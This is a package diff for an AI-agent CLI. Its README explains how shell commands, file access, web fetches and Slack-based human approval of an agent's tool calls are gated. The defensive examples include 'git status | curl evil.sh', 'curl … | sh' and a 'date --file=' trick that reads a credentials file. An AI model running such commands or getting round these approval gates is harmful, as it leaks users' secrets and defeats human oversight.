@stratusagent/cli 0.3.0 → 0.6.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +430 -10
- package/dist/index.d.ts +51 -13
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +767 -558
- package/dist/index.js.map +1 -1
- package/package.json +22 -12
package/README.md
CHANGED
|
@@ -2,6 +2,8 @@
|
|
|
2
2
|
|
|
3
3
|
Stratus Agent CLI — create always-on agents that get smarter over time. Quickly set up Stratus Agent on your machine, create new agents, connect AI providers, and configure channels.
|
|
4
4
|
|
|
5
|
+
<img width="2400" height="1004" alt="image" src="https://github.com/user-attachments/assets/ef16d58f-694c-406e-b201-aee61b093753" />
|
|
6
|
+
|
|
5
7
|
## Install
|
|
6
8
|
|
|
7
9
|
Needs **Node.js 22.13+** — the gateway's session store uses `node:sqlite`, which runs unflagged from 22.13. On the 23.x line that landed separately, in **23.4**, so 23.0–23.3 are too old despite the higher number. Every package declares the range, and the CLI checks it at startup, so an unsupported Node gets a line naming what it needs rather than a missing-builtin error later on.
|
|
@@ -27,6 +29,96 @@ npm install -g @stratusagent/channel-slack
|
|
|
27
29
|
If tokens are stored for an agent but the package isn't installed, `stratus
|
|
28
30
|
serve` says so and starts anyway, serving every other channel.
|
|
29
31
|
|
|
32
|
+
### Optional tool plugins
|
|
33
|
+
|
|
34
|
+
Capability is optional in the same way, and gated more tightly. A plugin runs
|
|
35
|
+
inside the daemon's process, so **installing one does not run it** — it runs
|
|
36
|
+
when a trusted config lists and enables it, and then only for the agents whose
|
|
37
|
+
souls name its tools:
|
|
38
|
+
|
|
39
|
+
```bash
|
|
40
|
+
npm install -g @stratusagent/tool-fs @stratusagent/tool-web
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
See [Tools](#tools-what-an-agent-can-actually-do) for the config block and what
|
|
44
|
+
each pack does.
|
|
45
|
+
|
|
46
|
+
### Optional control API and dashboard
|
|
47
|
+
|
|
48
|
+
Same idea, and the same reason: installing it is how you say you want a port
|
|
49
|
+
open. With it present, `stratus serve` also serves an authenticated HTTP +
|
|
50
|
+
WebSocket API on `127.0.0.1:4123`.
|
|
51
|
+
|
|
52
|
+
```bash
|
|
53
|
+
npm install -g @stratusagent/control-api @stratusagent/dashboard
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
Two packages, because the API has three consumers and only one of them is a
|
|
57
|
+
web page — the macOS app and a headless VM want the API without a UI. Install
|
|
58
|
+
`@stratusagent/control-api` alone for those; add `@stratusagent/dashboard` and
|
|
59
|
+
the API serves the web UI at `/` as well.
|
|
60
|
+
|
|
61
|
+
That API is what every non-terminal surface talks to — the web dashboard and
|
|
62
|
+
the macOS app alike. Its full reference (endpoints, auth, the event envelope)
|
|
63
|
+
lives in [its own README](https://github.com/stratuslabs/agent/tree/main/packages/control-api).
|
|
64
|
+
|
|
65
|
+
Two files appear while it is serving, both `0600`:
|
|
66
|
+
|
|
67
|
+
| File | What |
|
|
68
|
+
| --- | --- |
|
|
69
|
+
| `~/.stratus/gateway-token` | The bearer token clients authenticate with |
|
|
70
|
+
| `~/.stratus/gateway.json` | Where the daemon is reachable — url, host, port, pid — removed on a clean stop |
|
|
71
|
+
|
|
72
|
+
Turn it off with `stratus serve --no-api`, or in `~/.stratus/config.json`:
|
|
73
|
+
|
|
74
|
+
```jsonc
|
|
75
|
+
{
|
|
76
|
+
"api": {
|
|
77
|
+
"enabled": true,
|
|
78
|
+
"host": "127.0.0.1",
|
|
79
|
+
"port": 4123
|
|
80
|
+
}
|
|
81
|
+
}
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
Like `approvals`, this block is read **only** from a config you chose
|
|
85
|
+
yourself — the global `~/.stratus/config.json` or one passed with `--config`.
|
|
86
|
+
An auto-discovered project-local `stratus.config.json` ships in any
|
|
87
|
+
repository, and which interface a daemon binds is not a decision a cloned repo
|
|
88
|
+
gets to make; one that tries is ignored, loudly.
|
|
89
|
+
|
|
90
|
+
Localhost is the posture. To reach a machine at home, put it behind a tunnel
|
|
91
|
+
(Tailscale is the pattern we recommend) rather than binding a public
|
|
92
|
+
interface.
|
|
93
|
+
|
|
94
|
+
### The dashboard
|
|
95
|
+
|
|
96
|
+
```bash
|
|
97
|
+
stratus dashboard
|
|
98
|
+
```
|
|
99
|
+
|
|
100
|
+
It finds a running daemon through `~/.stratus/gateway.json`, or starts one in
|
|
101
|
+
the foreground when there is none (and says which it did). Then it mints a
|
|
102
|
+
**single-use, short-lived sign-in link** and opens your browser at it — the
|
|
103
|
+
one thing a browser cannot do for itself, since page JavaScript cannot read
|
|
104
|
+
`~/.stratus/gateway-token` and a WebSocket upgrade cannot carry a header.
|
|
105
|
+
|
|
106
|
+
The link works once. Run the command again for another. A daemon restart signs
|
|
107
|
+
the browser out too, because its sessions live in memory.
|
|
108
|
+
|
|
109
|
+
### Talking to a daemon from another machine
|
|
110
|
+
|
|
111
|
+
`stratus agents --gateway <url>` reads the roster from a running daemon
|
|
112
|
+
instead of resolving it locally — the same listing, answered by the API:
|
|
113
|
+
|
|
114
|
+
```bash
|
|
115
|
+
stratus agents --gateway http://127.0.0.1:4123
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
Locally that needs nothing else: the token comes from
|
|
119
|
+
`~/.stratus/gateway-token`. A daemon reached through a tunnel has its own
|
|
120
|
+
token, so pass it with `--token` or `STRATUS_GATEWAY_TOKEN`.
|
|
121
|
+
|
|
30
122
|
## Setup
|
|
31
123
|
|
|
32
124
|
`stratus setup` is the whole onboarding, as a small navigable menu:
|
|
@@ -63,6 +155,7 @@ stratus run --provider anthropic --model claude-opus-5 "hello"
|
|
|
63
155
|
stratus run --prompt "use the echo tool" --format json
|
|
64
156
|
stratus serve # stratusd: the whole roster, always on
|
|
65
157
|
stratus serve --idle-timeout 120 --no-events
|
|
158
|
+
stratus serve --approvals remote # ask a human in Slack instead of refusing
|
|
66
159
|
stratus service install # keep stratusd running under launchd/systemd
|
|
67
160
|
stratus service status
|
|
68
161
|
stratus logs -f # what the daemon has been doing
|
|
@@ -89,15 +182,22 @@ riskier is refused, with a line in the log saying which agent wanted what:
|
|
|
89
182
|
09:14:36 — warning: ava: shell.run is gated and nobody is available to approve it (session slack:ava:…)
|
|
90
183
|
```
|
|
91
184
|
|
|
92
|
-
That is the honest
|
|
93
|
-
terminal to prompt on.
|
|
94
|
-
|
|
95
|
-
than assumes.
|
|
185
|
+
That is the honest default behind a service manager, where there is no
|
|
186
|
+
terminal to prompt on. If somebody *is* reachable, `--approvals remote` asks
|
|
187
|
+
them instead — see [Asking a human](#asking-a-human-remote-approval).
|
|
96
188
|
|
|
97
189
|
A tool that declares no risk counts as `gated`, never `safe` — forgetting to
|
|
98
|
-
classify something should cost a prompt, not an unattended command.
|
|
99
|
-
|
|
100
|
-
`safe
|
|
190
|
+
classify something should cost a prompt, not an unattended command. The
|
|
191
|
+
built-in tools (`demo.echo`, `memory.remember`, `agent.delegate`) are all
|
|
192
|
+
`safe`; anything you install is where this starts to bite, which is what the
|
|
193
|
+
[Tools](#tools-what-an-agent-can-actually-do) section below is about.
|
|
194
|
+
|
|
195
|
+
A **shell** is the exception to the whole paragraph, because its risk is in
|
|
196
|
+
its argument rather than in its identity. `shell.run` is `gated`, and the
|
|
197
|
+
permission engine then judges each command: a safe scope (`git status`,
|
|
198
|
+
`git log`) runs unattended, everything else asks, and a control operator
|
|
199
|
+
anywhere in the string disqualifies it however innocent the base command is.
|
|
200
|
+
See [Which commands run unattended](#which-commands-run-unattended).
|
|
101
201
|
|
|
102
202
|
The line is *acting outside Stratus* — the filesystem, the network, another
|
|
103
203
|
service — not cost. Every turn spends provider tokens, including the one
|
|
@@ -108,7 +208,278 @@ calls face this policy again under their allowlist, and the chain is depth
|
|
|
108
208
|
bounded.
|
|
109
209
|
|
|
110
210
|
`stratus chat` and `stratus run` are unaffected: at a terminal, `--approvals`
|
|
111
|
-
works exactly as before.
|
|
211
|
+
works exactly as before (`always`, `ask`, `never`).
|
|
212
|
+
|
|
213
|
+
### Asking a human: remote approval
|
|
214
|
+
|
|
215
|
+
In `remote` mode a gated call does not fail — the turn parks, the request is
|
|
216
|
+
posted to Slack with **Allow once**, **Always allow**, and **Deny**, and the
|
|
217
|
+
turn resumes on the answer. The question goes to the thread the turn is
|
|
218
|
+
happening in, so whoever is talking to the agent sees it where they already
|
|
219
|
+
are.
|
|
220
|
+
|
|
221
|
+
Turn it on for the daemon with `--approvals remote`, or in
|
|
222
|
+
`~/.stratus/config.json` so the installed service picks it up too:
|
|
223
|
+
|
|
224
|
+
```jsonc
|
|
225
|
+
{
|
|
226
|
+
"approvals": {
|
|
227
|
+
"mode": "remote", // headless (default) or remote
|
|
228
|
+
"timeoutMs": 900000, // unanswered after 15 minutes → denied (max 2147483647)
|
|
229
|
+
"slackApprovers": ["U01OPS"], // who may decide, for every agent
|
|
230
|
+
"slackChannel": "C07OPS", // where to ask when the turn isn't in Slack
|
|
231
|
+
"agents": {
|
|
232
|
+
"ava": { "slackApprovers": ["U01DYLAN"] }
|
|
233
|
+
}
|
|
234
|
+
}
|
|
235
|
+
}
|
|
236
|
+
```
|
|
237
|
+
|
|
238
|
+
An agent inherits the top-level route key by key, so `ava` above asks her own
|
|
239
|
+
approver in the shared `C07OPS` fallback channel. An explicit
|
|
240
|
+
`"slackApprovers": []` on an agent excludes it from the default list — that
|
|
241
|
+
agent's gated calls are then denied outright — while omitting the key
|
|
242
|
+
inherits.
|
|
243
|
+
|
|
244
|
+
**Only a config you chose is allowed to set this block** — `--config`,
|
|
245
|
+
`STRATUS_CONFIG`, or the global `~/.stratus/config.json`. An auto-discovered
|
|
246
|
+
project-local `stratus.config.json` outranks the global one for provider
|
|
247
|
+
settings, but it can be checked into any repository, and appointing the
|
|
248
|
+
people who may authorize an agent's tool calls is not something a clone gets
|
|
249
|
+
to do. Its `approvals` block is ignored, with a warning naming the file.
|
|
250
|
+
|
|
251
|
+
Three things are worth knowing before you turn it on:
|
|
252
|
+
|
|
253
|
+
- **Approvers are people, not places.** Posting into a channel does not make
|
|
254
|
+
everyone in it an approver: each request is bound to the ids configured for
|
|
255
|
+
that agent, and anyone else's click is refused with a notice only they see.
|
|
256
|
+
The request stays open for someone who may actually answer it. This matters
|
|
257
|
+
most for **Always allow**, which widens what the agent may do unattended.
|
|
258
|
+
- **An agent with no approver configured is denied immediately**, not left to
|
|
259
|
+
time out — `remote` with nobody listed behaves exactly like `headless`. If
|
|
260
|
+
no channel can ask for an agent at all (no Slack tokens for it, or
|
|
261
|
+
`@stratusagent/channel-slack` not installed) there is nothing to render the
|
|
262
|
+
request, so its gated calls wait out the timeout instead. The daemon names
|
|
263
|
+
those agents at startup, rather than leaving you to find out at 3am:
|
|
264
|
+
|
|
265
|
+
```text
|
|
266
|
+
approvals: remote — gated calls are parked and asked in Slack (approvers set for ava)
|
|
267
|
+
```
|
|
268
|
+
- **A parked turn survives a restart.** The daemon records what has not run
|
|
269
|
+
before it asks, so an approval outstanding when it stops is finished when
|
|
270
|
+
it starts again — the question is re-asked in Slack, the call runs on the
|
|
271
|
+
answer, and anything queued behind it still runs too. The re-asked request
|
|
272
|
+
keeps the window it started with rather than getting a fresh one, and a
|
|
273
|
+
wait that has already used up its `timeoutMs` is denied instead of
|
|
274
|
+
re-asked: downtime is not a reason to extend a security decision.
|
|
275
|
+
- **A turn that was mid-flight is failed, not left hanging.** Parking is the
|
|
276
|
+
one state a restart can resume from — a turn that stopped anywhere else
|
|
277
|
+
(waiting on the provider, inside a tool, or on an approval asked by an
|
|
278
|
+
agent billed through a Claude subscription, which is deliberately not
|
|
279
|
+
checkpointed) cannot be. Those sessions come back marked `failed`, with a
|
|
280
|
+
reason saying stratusd stopped while they were running and to send the
|
|
281
|
+
message again, rather than claiming to still be running forever. This is
|
|
282
|
+
only for an ungraceful stop: a normal restart denies what is parked and
|
|
283
|
+
finishes the turns those denials release before it exits. The thread hears
|
|
284
|
+
about it too: a turn that fails with nobody rendering it is reported where
|
|
285
|
+
it was asked, rather than going quiet and reading as an agent that never
|
|
286
|
+
replied.
|
|
287
|
+
- **A button left behind by a dead daemon corrects itself when clicked.** A
|
|
288
|
+
normal shutdown retracts its buttons; a crash cannot, and the new process
|
|
289
|
+
has no record of what the old one posted. Clicking such a prompt tells you
|
|
290
|
+
it is no longer pending *and* rewrites the message so the next reader is
|
|
291
|
+
not offered a decision nothing is waiting for. A prompt nobody clicks
|
|
292
|
+
stays as it is.
|
|
293
|
+
- **Always allow means different things for a tool and for a command.** For
|
|
294
|
+
an ordinary tool it lasts for the session: it stops that tool asking again
|
|
295
|
+
in the same conversation, and it is forgotten when the daemon restarts.
|
|
296
|
+
For a call that carries a command — `shell.run` — it persists a *scope*
|
|
297
|
+
instead, in `~/.stratus/agents/<id>.whitelist.json`, and that survives a
|
|
298
|
+
restart. See below for what a scope keeps out.
|
|
299
|
+
|
|
300
|
+
The request shows the tool's **arguments**, not just its name — for anything
|
|
301
|
+
whose danger lives in what it was called with, approving a bare tool name is
|
|
302
|
+
approving something you cannot see. Arguments are escaped (a model-written
|
|
303
|
+
argument cannot mention or broadcast to the workspace through the prompt)
|
|
304
|
+
and truncated with a visible notice when they are long.
|
|
305
|
+
|
|
306
|
+
Requests are also denied — visibly, with a reason — when they expire, when
|
|
307
|
+
the turn is cancelled, when the daemon shuts down, and when a turn reaches a
|
|
308
|
+
gated call while the daemon is already stopping. Every one of those retracts
|
|
309
|
+
the buttons in Slack, so a message never keeps offering a decision with
|
|
310
|
+
nowhere to land.
|
|
311
|
+
|
|
312
|
+
`timeoutMs` is capped at 2147483647 (~24.8 days), the longest timer Node can
|
|
313
|
+
hold. A larger value is rejected at startup rather than accepted: it would
|
|
314
|
+
not wait longer, it would expire every approval almost immediately.
|
|
315
|
+
|
|
316
|
+
Approval buttons need the Slack app's **Interactivity** switched on. Apps
|
|
317
|
+
created from the manifest that `stratus setup` prints already have it; an app
|
|
318
|
+
created before this shipped needs it enabled once, in its App Manifest.
|
|
319
|
+
|
|
320
|
+
## Tools: what an agent can actually do
|
|
321
|
+
|
|
322
|
+
Out of the box an agent can echo, remember, and delegate. Everything else —
|
|
323
|
+
files, a shell, the web, a browser — arrives as a **plugin**: one package you
|
|
324
|
+
install, list, and enable.
|
|
325
|
+
|
|
326
|
+
```bash
|
|
327
|
+
npm install -g @stratusagent/tool-fs @stratusagent/tool-shell \
|
|
328
|
+
@stratusagent/tool-web @stratusagent/tool-browser
|
|
329
|
+
```
|
|
330
|
+
|
|
331
|
+
```jsonc
|
|
332
|
+
// ~/.stratus/config.json
|
|
333
|
+
{
|
|
334
|
+
"plugins": {
|
|
335
|
+
"@stratusagent/tool-fs": {
|
|
336
|
+
"enabled": true,
|
|
337
|
+
"roots": ["~/notes"],
|
|
338
|
+
"agents": {
|
|
339
|
+
"ava": { "roots": ["~/work/ava"] },
|
|
340
|
+
"juno": { "roots": ["~/work/juno", "~/shared"] }
|
|
341
|
+
}
|
|
342
|
+
},
|
|
343
|
+
"@stratusagent/tool-web": { "enabled": true },
|
|
344
|
+
"@stratusagent/tool-shell": { "enabled": true, "cwd": "~/work" }
|
|
345
|
+
}
|
|
346
|
+
}
|
|
347
|
+
```
|
|
348
|
+
|
|
349
|
+
Keyed by **package name**, because a plugin's identity is its package and one
|
|
350
|
+
may contribute more than tools. Per-agent settings go in an `agents` sub-block
|
|
351
|
+
over the defaults above them — the same shape `approvals` already uses, and it
|
|
352
|
+
matters more here: for `tool-fs` those values are an access boundary between
|
|
353
|
+
agents rather than a preference.
|
|
354
|
+
|
|
355
|
+
**Only a config you chose may list plugins** — `--config`, `STRATUS_CONFIG`, or
|
|
356
|
+
the global `~/.stratus/config.json`. A plugin runs in the daemon's own process,
|
|
357
|
+
so this list is a list of code, and an auto-discovered project-local
|
|
358
|
+
`stratus.config.json` ships with any repository you clone. Its `plugins` block
|
|
359
|
+
is ignored, with a warning naming the file, exactly as `api` and `approvals`
|
|
360
|
+
are.
|
|
361
|
+
|
|
362
|
+
`stratus run` and `stratus chat` load the same plugins from the same config, so
|
|
363
|
+
a tool that works locally works in the daemon, and one that is missing is
|
|
364
|
+
missing in both.
|
|
365
|
+
|
|
366
|
+
### Installing a plugin grants no agent anything
|
|
367
|
+
|
|
368
|
+
The soul's allowlist is the second gate, and the per-identity one:
|
|
369
|
+
|
|
370
|
+
```markdown
|
|
371
|
+
---
|
|
372
|
+
id: ava
|
|
373
|
+
tools: [fs.read, fs.search, web.fetch]
|
|
374
|
+
---
|
|
375
|
+
```
|
|
376
|
+
|
|
377
|
+
`fs.*` grants a whole toolset, so an agent given "the filesystem" does not need
|
|
378
|
+
editing every time the pack gains a tool. The prefix keeps its dot: `fs.*`
|
|
379
|
+
never matches `fsx.read`. Listing nothing grants every registered tool, which
|
|
380
|
+
is fine for a private agent and is not what you want once a shell is installed.
|
|
381
|
+
|
|
382
|
+
### What is available
|
|
383
|
+
|
|
384
|
+
| Package | Tools | Risk |
|
|
385
|
+
| --- | --- | --- |
|
|
386
|
+
| [`@stratusagent/tool-fs`](../tool-fs) | `fs.read`, `fs.list`, `fs.search` | `safe` inside the agent's roots |
|
|
387
|
+
| | `fs.write` | `gated` |
|
|
388
|
+
| [`@stratusagent/tool-shell`](../tool-shell) | `shell.run` | `gated`, then judged per command |
|
|
389
|
+
| [`@stratusagent/tool-web`](../tool-web) | `web.fetch` | `gated` |
|
|
390
|
+
| [`@stratusagent/tool-browser`](../tool-browser) | `browser.goto`, `.read`, `.screenshot` | `gated` |
|
|
391
|
+
| | `browser.act` | `dangerous` — always a human |
|
|
392
|
+
|
|
393
|
+
Each package's README carries its own settings and the reasoning behind its
|
|
394
|
+
risk levels. Three things are worth knowing here:
|
|
395
|
+
|
|
396
|
+
- **`tool-fs` roots are a boundary, not a preference.** No roots means no
|
|
397
|
+
filesystem — nothing is readable, rather than everything. Containment is
|
|
398
|
+
decided between real paths, so a symlink inside a root pointing at
|
|
399
|
+
`~/.stratus/credentials.json` is refused, and so is a write *through* a
|
|
400
|
+
symlinked directory.
|
|
401
|
+
- **`tool-shell` replaces the environment.** The command gets exactly what
|
|
402
|
+
you granted (`passEnv`, `env`) and nothing else — the daemon's own
|
|
403
|
+
environment, where `ANTHROPIC_API_KEY` lives, is not there to read.
|
|
404
|
+
- **`tool-web` and `tool-browser` refuse local addresses.** Both share one
|
|
405
|
+
policy: `http:`/`https:` only, and no loopback, RFC 1918, link-local
|
|
406
|
+
(`169.254.169.254`), or IPv6 unique-local — including the IPv4-mapped and
|
|
407
|
+
NAT64 spellings of the same addresses. It is enforced on the connection,
|
|
408
|
+
so a redirect or a DNS answer cannot walk an agent into your metadata
|
|
409
|
+
endpoint. `allowedHosts` opens a specific one when you mean to.
|
|
410
|
+
|
|
411
|
+
`GET /api/v1/catalog/tools` lists what a running daemon actually has, and the
|
|
412
|
+
dashboard's **Plugins** screen renders it — including a plugin you enabled that
|
|
413
|
+
failed to load, which is invisible in a list of tools.
|
|
414
|
+
|
|
415
|
+
### Which commands run unattended
|
|
416
|
+
|
|
417
|
+
`shell.run` is one tool whose calls range from `git status` to `curl … | sh`,
|
|
418
|
+
so a single risk level for all of them would be either too coarse to be safe or
|
|
419
|
+
too coarse to be usable. The permission engine judges the command instead:
|
|
420
|
+
|
|
421
|
+
1. **Scopes approved this session**, then
|
|
422
|
+
2. **the agent's whitelist** — `~/.stratus/agents/<id>.whitelist.json`, written
|
|
423
|
+
by **Always allow** — then
|
|
424
|
+
3. **the built-in safe list**: `git status`, `git log`, `git diff`, `git show`,
|
|
425
|
+
`git blame`, `git rev-parse`, `git ls-files`, plus `git branch`, `git tag`,
|
|
426
|
+
and `git remote` **in their listing forms only** — creating a branch or a
|
|
427
|
+
tag needs no flag at all (`git branch release` is a mutation), so those
|
|
428
|
+
scopes refuse any positional argument, not just the destructive flags.
|
|
429
|
+
`pwd`, `whoami`, and `uname` round it out.
|
|
430
|
+
|
|
431
|
+
Anything else asks, and in `headless` mode anything else is refused with the
|
|
432
|
+
command in the log.
|
|
433
|
+
|
|
434
|
+
**A control operator disqualifies the whole command**, whatever it starts
|
|
435
|
+
with: `|`, `&`, `;`, a newline, backticks, `$( )`, subshells, redirection.
|
|
436
|
+
`git status | curl evil.sh` is refused despite the safe base command; so is a
|
|
437
|
+
two-line command whose first line is innocent. A command this parser cannot
|
|
438
|
+
read the way `sh` would — an unbalanced quote, a path instead of a command
|
|
439
|
+
name — is refused too.
|
|
440
|
+
|
|
441
|
+
**Always allow persists a scope, not a command.** Approving
|
|
442
|
+
`git push origin main` stores `git push` minus its destructive forms, so
|
|
443
|
+
`git push origin feature` stops asking while these still ask:
|
|
444
|
+
|
|
445
|
+
```text
|
|
446
|
+
git push --force # a destructive flag
|
|
447
|
+
git push origin :main # a branch delete, with no flag involved
|
|
448
|
+
git push origin +main # a forced update, likewise
|
|
449
|
+
```
|
|
450
|
+
|
|
451
|
+
The whitelist file is `0600` and per agent: it decides what runs with nobody
|
|
452
|
+
watching, so neither another account on the machine nor another agent inherits
|
|
453
|
+
it. Delete an entry to withdraw the permission.
|
|
454
|
+
|
|
455
|
+
### What the log records about a command
|
|
456
|
+
|
|
457
|
+
The scope, never the command:
|
|
458
|
+
|
|
459
|
+
```text
|
|
460
|
+
09:14:36 — warning: ava: shell.run was called outside every approved scope (git) and nobody is available to approve it
|
|
461
|
+
09:16:02 — ava: "git push" now runs without asking
|
|
462
|
+
```
|
|
463
|
+
|
|
464
|
+
The daemon log is a trace, not a second transcript — it records that a tool
|
|
465
|
+
ran, never what it was called with. A command an agent composed can carry a
|
|
466
|
+
URL, a filename, or something a person pasted into a chat, and this file is
|
|
467
|
+
one `stratus logs` prints and people paste into issues. The command itself
|
|
468
|
+
goes to whoever is being asked to approve it: the terminal prompt and the
|
|
469
|
+
Slack message both show it in full, because approving a bare tool name is
|
|
470
|
+
approving something you cannot see.
|
|
471
|
+
|
|
472
|
+
The safe list is deliberately short, and `cat`, `ls`, and `grep` are the
|
|
473
|
+
tempting entries that cannot be on it — they read whatever path they are given,
|
|
474
|
+
so safe-listing them would safe-list reading your credentials file. Approve
|
|
475
|
+
them once for a scope you actually want instead.
|
|
476
|
+
|
|
477
|
+
The test is **what an argument can make the command do**, not what the command
|
|
478
|
+
is called. `date` was on this list until it turned out that
|
|
479
|
+
`date --file=~/.stratus/credentials.json` makes GNU `date` read that file and
|
|
480
|
+
echo every unparseable line back in its error text — which the tool returns.
|
|
481
|
+
A command that can be handed a path is a file reader wearing another name, so
|
|
482
|
+
`--file` is now refused in every scope, including ones you add.
|
|
112
483
|
|
|
113
484
|
## Always on
|
|
114
485
|
|
|
@@ -286,6 +657,44 @@ You are a sharp, warm generalist. Answer first, explain second...
|
|
|
286
657
|
|
|
287
658
|
Agents remember: facts saved with the built-in `memory.remember` tool persist to `~/.stratus/memory.jsonl`, keyed to the agent — so the Ava you talk to tomorrow remembers today, from any directory.
|
|
288
659
|
|
|
660
|
+
**Ids are not labels.** Frontmatter may set `id:` explicitly, and it keys the
|
|
661
|
+
agent's sessions, memory, credentials, Slack tokens, and every per-agent path
|
|
662
|
+
on disk. So it has to stay one path segment, and one ordinary map key: an id
|
|
663
|
+
may not start with a dot or contain a slash, a backslash, a control
|
|
664
|
+
character, or leading or trailing whitespace, and it may not be a name every
|
|
665
|
+
object already answers to (`__proto__`, `constructor`, `toString`). Anything that would leave its directory is rejected when the soul
|
|
666
|
+
loads rather than quietly cleaned up — `id: ../../escape` is refused, not
|
|
667
|
+
rewritten to `escape`.
|
|
668
|
+
|
|
669
|
+
Anything else is yours. An id like `Ava_1` or `team.alpha` is unusual but
|
|
670
|
+
harmless, and it is already keying that agent's sessions and sign-ins, so it
|
|
671
|
+
is left exactly as written. Omit `id:` and one is derived from the name as a
|
|
672
|
+
plain slug (`ava`); a generated agent's id is also capped at 64 characters,
|
|
673
|
+
but a slug derived from a name you chose is used whole, because shortening
|
|
674
|
+
an id moves the agent it belongs to.
|
|
675
|
+
|
|
676
|
+
Creating an agent checks the id against every id the served roster holds,
|
|
677
|
+
not against the filenames on disk: what the roster files *declare* (a soul
|
|
678
|
+
at `renamed.md` can declare `id: ava`), the configured default soul even
|
|
679
|
+
when its file lives elsewhere, and the reserved `stratus`. A new agent gets
|
|
680
|
+
a suffixed id (`ava-3f9c`) rather than one that would collide. Its name
|
|
681
|
+
stays the one you chose.
|
|
682
|
+
|
|
683
|
+
**Two souls cannot share an id.** That is not two agents; it is one agent
|
|
684
|
+
whose memory and sign-ins belong to whichever file sorted first. The roster
|
|
685
|
+
refuses to load and names both files, `stratus serve` will not start,
|
|
686
|
+
`stratus doctor` reports it, and `stratus setup` → Channels offers no
|
|
687
|
+
agents at all — nothing is servable while the roster is ambiguous, so
|
|
688
|
+
connecting a Slack app would configure something that cannot run. Neither
|
|
689
|
+
command offers to clear "unmatched" Slack tokens in that state either: a
|
|
690
|
+
roster that would not load cannot prove which ids are missing, and the
|
|
691
|
+
tokens at risk belong to agents that are perfectly fine. (An unreadable *single* soul still degrades to a
|
|
692
|
+
warning — one broken file never takes the team down. A collision has no
|
|
693
|
+
correct winner, which is the difference.) The built-in `stratus` id is
|
|
694
|
+
reserved: souls claiming it are skipped — including two of them, since
|
|
695
|
+
neither was going to get the id, so their agreeing on it is not a collision
|
|
696
|
+
to refuse over.
|
|
697
|
+
|
|
289
698
|
## Options
|
|
290
699
|
|
|
291
700
|
| Flag | Purpose |
|
|
@@ -295,19 +704,30 @@ Agents remember: facts saved with the built-in `memory.remember` tool persist to
|
|
|
295
704
|
| `--model` | Model for real providers (anthropic default: `claude-opus-5`) |
|
|
296
705
|
| `--base-url` | Override the provider API base URL |
|
|
297
706
|
| `--config <file>` | Load settings from a specific config file |
|
|
298
|
-
| `--approvals` |
|
|
707
|
+
| `--approvals` | `run`/`chat`: tool approval mode — `always`, `ask`, or `never`. `serve`: how the daemon reaches a human — `headless` (refuse gated calls) or `remote` (ask in Slack); overrides the config's `approvals.mode` |
|
|
299
708
|
| `--max-turns` | Max provider turns per run (default 8) |
|
|
300
709
|
| `--format` | `text` or `json` |
|
|
301
710
|
| `--idle-timeout` | `stratus serve`: seconds of provider silence before the watchdog aborts a turn (default 120) |
|
|
302
711
|
| `--no-events` | Hide the event log |
|
|
303
712
|
| `--no-log-file` | `stratus serve`: do not write `~/.stratus/logs/stratusd.jsonl` |
|
|
713
|
+
| `--no-api` | `stratus serve`: do not serve the control API |
|
|
714
|
+
| `--api-host` | `stratus serve`: control API interface (default `127.0.0.1`) |
|
|
715
|
+
| `--api-port` | `stratus serve`: control API port (default `4123`; `0` picks any free port) |
|
|
716
|
+
| `--gateway <url>` | `stratus agents`: read the roster from a running daemon's control API |
|
|
717
|
+
| `--port`, `--host` | `stratus dashboard`: where a daemon it starts should bind |
|
|
718
|
+
| `--token` | Bearer token for `--gateway` (default: `~/.stratus/gateway-token`, or `STRATUS_GATEWAY_TOKEN`) |
|
|
304
719
|
| `--no-login` | `stratus service install`: install without the start-at-login trigger |
|
|
305
720
|
| `-f`, `--follow` | `stratus logs`: follow the log, across rotations |
|
|
306
721
|
| `-n <count>` | `stratus logs`: how much backlog to print (default 50) |
|
|
307
722
|
| `--agent`, `--session` | `stratus logs`: show only one agent's or one session's records |
|
|
308
723
|
|
|
724
|
+
Tool plugins have no flags: what is installed is a config decision (`plugins`
|
|
725
|
+
in a trusted config) and what an agent may call is a soul decision (`tools:`).
|
|
726
|
+
Neither is something a single run should be able to widen from the command
|
|
727
|
+
line.
|
|
728
|
+
|
|
309
729
|
Precedence: flags → `STRATUS_*` env vars → soul file hints → config file. Project-local `stratus.config.json` outranks the global `~/.stratus/config.json`; stored sign-ins are endpoint-bound and never sent to endpoints a project config selects.
|
|
310
730
|
|
|
311
|
-
Today the CLI covers setup, chat, one-shot runs, agent creation, the always-on gateway and its service integration, logs, diagnostics, Slack,
|
|
731
|
+
Today the CLI covers setup, chat, one-shot runs, agent creation, the always-on gateway and its service integration, logs, diagnostics, Slack, the control API, and the web dashboard.
|
|
312
732
|
|
|
313
733
|
Part of [Stratus Agent](https://github.com/stratuslabs/agent) — a tiny TypeScript agent runtime.
|
package/dist/index.d.ts
CHANGED
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
import { type JsonValue, type Session, type StratusEvent } from '@stratusagent/core';
|
|
2
|
-
import { type CredentialProviderName, type RuntimeConfig, type StratusProviderName } from '@stratusagent/state';
|
|
2
|
+
import { type CredentialProviderName, type RuntimeSelection, type RuntimeConfig, type StratusProviderName } from '@stratusagent/state';
|
|
3
3
|
import { type ServiceRunner } from './service.ts';
|
|
4
4
|
export { installService, launchdPlist, readServiceStatus, servicePlatform, serviceUnitPath, startService, stopService, systemdUnit, uninstallService, SERVICE_LABEL, type ServiceRunner, type ServiceStatus, } from './service.ts';
|
|
5
5
|
export { createLogWriter, currentLogPosition, truncateRedirectLogs, formatLogRecord, parseLogLines, readRecentRecords, tailLog, type LogRecord, } from './logs.ts';
|
|
@@ -50,7 +50,17 @@ export interface ParsedRunCommand {
|
|
|
50
50
|
export interface ParsedDashboardCommand {
|
|
51
51
|
command: 'dashboard';
|
|
52
52
|
port?: number;
|
|
53
|
-
|
|
53
|
+
/**
|
|
54
|
+
* Present only when `--host` was actually given.
|
|
55
|
+
*
|
|
56
|
+
* A defaulted string here would be indistinguishable from an explicit
|
|
57
|
+
* `--host 127.0.0.1`, and the two mean opposite things when a trusted
|
|
58
|
+
* config says `api.host: "0.0.0.0"`: absent means "let the config decide",
|
|
59
|
+
* while explicit means "bind loopback, whatever the config says". Collapsing
|
|
60
|
+
